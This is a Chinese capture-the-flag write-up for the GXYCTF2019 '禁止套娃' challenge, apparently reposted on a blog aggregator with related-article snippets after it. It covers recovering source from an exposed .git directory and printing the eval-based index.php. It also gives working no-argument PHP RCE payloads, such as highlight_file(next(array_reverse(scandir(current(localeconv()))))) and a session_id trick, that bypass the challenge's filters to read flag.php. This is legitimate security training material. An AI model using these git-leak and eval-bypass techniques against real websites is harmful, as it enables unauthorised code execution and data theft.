[GXYCTF2019]禁止套娃1 [GitHack] [无参数RCE]

news2025/4/2 22:00:50

Git基础

Git信息泄露原理解析及利用总结 - FreeBuf网络安全行业门户

CTF中的GIT泄露_ctf git泄露-CSDN博客

Git结构

dirsearch扫出来一大堆东西(然而这些并没有什么屁用)

但也算起码了解了git结构了吧

/.git/HEAD:表示当前HEAD指针的指向

ref: refs/heads/master

/.git/logs/HEAD:表示HEAD的变更历史

0000000000000000000000000000000000000000     一开始的

e729e0b15f06da388b0e634afffd19b8e17b572a     当前的

Your Name <you@example.com> 

1577283742 +0800	

commit (initial): init             提交的init不是文件而是类似于备注之类的东西,在下文/.git/COMMIT_EDITMSG也出现了

(换行后)

/.git/info/exclude:

# git ls-files --others --exclude-from=.git/info/exclude
# Lines that start with '#' are comments.
# For a project mostly in C, the following would be a good set of
# exclude patterns (uncomment them if you want to use them):
# *.[oa]
# *~

/.git/COMMIT_EDITMSG:用来临时存储提交消息(Commit Message)的文件

init
# Please enter the commit message for your changes. Lines starting
# with '#' will be ignored, and an empty message aborts the commit.
#
# On branch master
#
# Initial commit
#
# Changes to be committed:
#	new file:   index.php
#
# Untracked files:
#	flag.php
#

/.git/config:存储针对当前仓库的特定配置信息

[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true

/.git/description:

Unnamed repository; edit this file 'description' to name the repository.

/.git/index:

DIRC      ^p?茭
^p?茭
  ?  2I?  仱  ?  ?  渜iB+餲kSi襑v?a醁B寪 	index.php TREE    1 0
朄q G妮ㄏ^?渥樊畹N?G?隂?xD邝?倷

/.git/logs/refs/heads/master:

0000000000000000000000000000000000000000 e729e0b15f06da388b0e634afffd19b8e17b572a Your Name <you@example.com> 1577283742 +0800	commit (initial): init

 /.git/refs/heads/master:git仓库的默认分支

e729e0b15f06da388b0e634afffd19b8e17b572a

用kali上的GitHack但是没有成功 

用kali扫了半天都是空仓库,不知道为什么,在windows上下了一个立马就好了

得到index.php 

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

无参数RCE

特征过滤:

 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

就是只让你传函数,但是函数里面不能有参数

绕过方法

无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

方法一 使用localeconv()+scandir()等函数嵌套

注意这里末尾一定要有  ;  

/?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

localeconv() 返回一个数组,包含本地化(locale)的货币和数值格式信息,第一个值就是 . 

. 表示当前目录

current() 返回数组内部指针当前指向的元素值(默认指向第一个元素)

scandir() 返回当前文件中所有目录列表(返回一个数组)

数组移动操作:

1.next()  将内部指针指向数组中下一个元素并输出

2.end()  将内部指针指向最后一个元素并输出

3.prev() 指向前一个元素并输出

4.reset() 指向第一个元素并输出

5.each() 返回当前元素的键名和键值,并让指针向前移动

错误payload1:

/?exp=var_dump(scandir(localeconv()))

为什么不对?因为这里localeconv()返回的是一个数组,scandir()接收到数组的时候会尝试将参数转换为Array,而Array目录不存在,所以会失败

错误payload2:

/?exp=highligth_file(next(next(next(scandir(current(localeconv()))))));

highlight_file(): 显示flag.phpd的件内容

var_dump():用于显示文件名

错误payload3:

/?exp=highlight_file(prev(end(scandir(current(localeconv())))));

为什么不对!!我觉得很对!! 

方法二 使用session_id

/?exp=highlight_file(session_id(session_start()));

这里readfile也可以,区别在于readfile是直接读取文件内容(不带<?php),而highlight_file()是显示源码,带着<?php

session_id()如果传入参数时候会设置当前会话id(设置的值就是传入的参数),如果不传入参数的时候会返回当前会话的id

session_start() 启动会话成功以后会返回bool值true,这个值传入到session_id()中没有什么实际意义(不是id),所以session_id()会当作没有参数传入并返回当前会话的id,我们可以通过操纵当前会话id来实现highlight_file文件读取

为什么有时候能发出去有时候发不出去??

后来才尝试出来发的时候消息包末尾要有两行换行!!

readfile()

 highlight_file()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2324639.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

从ChatGPT到AutoGPT——AI Agent的范式迁移

一、AI Agent的范式迁移 1. ChatGPT的局限性与Agent化需求 单轮对话的“工具属性” vs. 多轮复杂任务的“自主性” ChatGPT 作为强大的生成式AI,虽然能够进行连贯对话,但本质上仍然是“工具型”AI,依赖用户提供明确的指令,而无法自主规划和执行任务。 人类介入成本过高:提…

stock-pandas,一个易用的talib的替代开源库。

原创内容第841篇&#xff0c;专注智能量化投资、个人成长与财富自由。 介绍一个ta-lib的平替——我们来实现一下&#xff0c;最高价突破布林带上轨&#xff0c;和最低价突破布林带下轨的可视化效果&#xff1a; cross_up_upper stock[high].copy()# cross_up_upper 最高价突破…

Spring Cloud Gateway详细介绍简单案例

文章目录 1、Spring Cloud Gateway 详细介绍1.1. 统一入口&#xff08;Single Entry Point&#xff09;1.2. 请求路由&#xff08;Request Routing&#xff09;1.3. 负载均衡&#xff08;Load Balancing&#xff09;1.4. 流量控制&#xff08;Rate Limiting&#xff09;1.5. 身…

鸿蒙原生开发之状态管理V2

一、ArkTS状态变量的定义&#xff1a; State&#xff1a;状态&#xff0c;指驱动UI更新的数据。用户通过触发组件的事件方法&#xff0c;改变状态数据。状态数据的改变&#xff0c;引起UI的重新渲染。 在鸿蒙原生开发中&#xff0c;使用ArkTS开发UI的时候&#xff0c;我们可以…

矩阵中对角线的遍历问题【C++】

1&#xff0c;按对角线进行矩阵排序 题目链接&#xff1a;3446. 按对角线进行矩阵排序 - 力扣&#xff08;LeetCode&#xff09; 【题目描述】 对于一个m*n的矩阵grid&#xff0c;要求对该矩阵进行 变换&#xff0c;使得变换后的矩阵满足&#xff1a; 主对角线右上的所有对角…

[Lc4_dfs] 解数独 | 单词搜索

目录 1.解数独 题解 2.单词搜索 题解 1.解数独 链接&#xff1a;37. 解数独 编写一个程序&#xff0c;通过填充空格来解决数独问题。 数独的解法需 遵循如下规则&#xff1a; 数字 1-9 在每一行只能出现一次。数字 1-9 在每一列只能出现一次。数字 1-9 在每一个以粗实线…

day17 学习笔记

文章目录 前言一、数组的增删改查1.resize函数2.append函数3.insert函数4.delete函数5.argwhere函数6.unique函数 二、统计函数1.amax&#xff0c;amin函数2.ptp函数3.median函数4.mean函数5.average函数6.var&#xff0c;std函数 前言 通过今天的学习&#xff0c;我掌握了num…

自动语音识别(ASR)技术详解

语音识别&#xff08;Automatic Speech Recognition, ASR&#xff09;是人工智能和自然语言处理领域的重要技术&#xff0c;旨在将人类的语音信号转换为对应的文本。近年来&#xff0c;深度学习的突破推动语音识别系统从实验室走入日常生活&#xff0c;为智能助手、实时翻译、医…

git | 版本切换的相关指令

常见指令 git log --oneline #查看历史提交 git tag latest-backup # 对当前的提交进行标记&#xff0c;标记名为latest-backup git checkout -b old-version 55b16aa # 切换到[55b16aa]的提交中&#xff0c;并标记为[old-version]的分支 git checkout master …

19.OpenCV图像二值化

OpenCV图像二值化 图像二值化&#xff08;Binarization&#xff09;是图像预处理中的一种常用技术&#xff0c;其目的是将图像中的像素值分为两个类别——通常是“前景”和“背景”或者说0和255。二值化能够简化图像信息&#xff0c;为后续的形态学处理、边缘检测、目标识别等…

通过Appium理解MCP架构

MCP即Model Context Protocol&#xff08;模型上下文协议&#xff09;&#xff0c;是由Anthropic公司于2024年11月26日推出的开放标准框架&#xff0c;旨在为大型语言模型与外部数据源、工具及系统建立标准化交互协议&#xff0c;以打破AI与数据之间的连接壁垒。 MCP架构与Appi…

分享一个Pyside6实现web数据展示界面的效果图

今天又是有问题直接找DS的一天&#xff0c;每日一问&#xff0c;今天我的问题是“怎么将pyside6生成的界面转成web界面&#xff0c;使用python语言实现web界面”&#xff0c;等了一会&#xff0c;DS给我提供了两种方案&#xff0c;方案如下&#xff1a; 然后&#xff0c;让我们…

FALL靶场通关攻略

1&#xff0c;下载好靶机后打开&#xff0c;通过kali扫描靶机ip和端口&#xff0c;得到靶机ip为192.168.50.144 2&#xff0c;扫描目录 3&#xff0c;访问靶机 4&#xff0c;访问扫描到的test.php,得到缺少GET请求参数的提示 5&#xff0c;使用FUZZ来扫出参数为file 6&#xff…

Mybatis日志模块分析--适配器模式+代理模式

适配器模式 日志在我们开发过程中占据了一个非常重要的地位&#xff0c;是开发和运维管理之间的桥梁&#xff0c;在Java中的日志框架也非常多&#xff0c;Log4j,Log4j2,Apache Commons Log,java.util.logging,slf4j等&#xff0c;这些工具对外的接口也都不尽相同&#xff0c;为…

圆球法线图,图生法线图 图片生成法线图

目录 圆球法线图 根据图片生成法线图 深度图计算法线图 圆球法线图 import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D# 定义球体的参数 radius 1.0 resolution 100# 生成球体表面的点 u np.linspace(0, 2 * np.pi, resoluti…

Java基于SpringBoot的网络云端日记本系统,附源码+文档说明

博主介绍&#xff1a;✌Java老徐、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;&…

【自用记录】本地关联GitHub以及遇到的问题

最近终于又想起GitHub&#xff0c;想上传代码和项目到仓库里。 由于很早之前有在本地连接过GitHub&#xff08;但没怎么用&#xff09;&#xff0c;现在需要重新搞起&#xff08;操作忘得差不多&#xff09;。 在看教程实操的过程中遇到了一些小问题&#xff0c;遂记录一下。 前…

页码设置相关问题记录

Q&#xff1a;中间没有显示页码怎么办&#xff1f; A&#xff1a;“页眉和页脚”-“页码”-“页面底端”-“普通数字2” Q&#xff1a;想让页码在某几节连续怎么办&#xff1f; A&#xff1a; ① 先保证节与节之间插入了“分节符”&#xff08;如何插入分节符和如何显示分节符…

什么是数据集市

数据集市&#xff08;Data Mart&#xff09;是数据管理领域的核心概念&#xff0c;其定义为面向特定业务领域或用户群体的小型数据仓库子集&#xff0c;专注于部门级业务分析&#xff0c;具有快速响应、灵活部署等特点。以下从定义、特点、类型、结构、应用场景及与其他数据架构…

【HC-05蓝牙模块】主要性能指标与通信基础知识

一、HC-05 基础学习视频 HC-05蓝牙串口通信模块调试与应用1 二、HC-05学习视频课件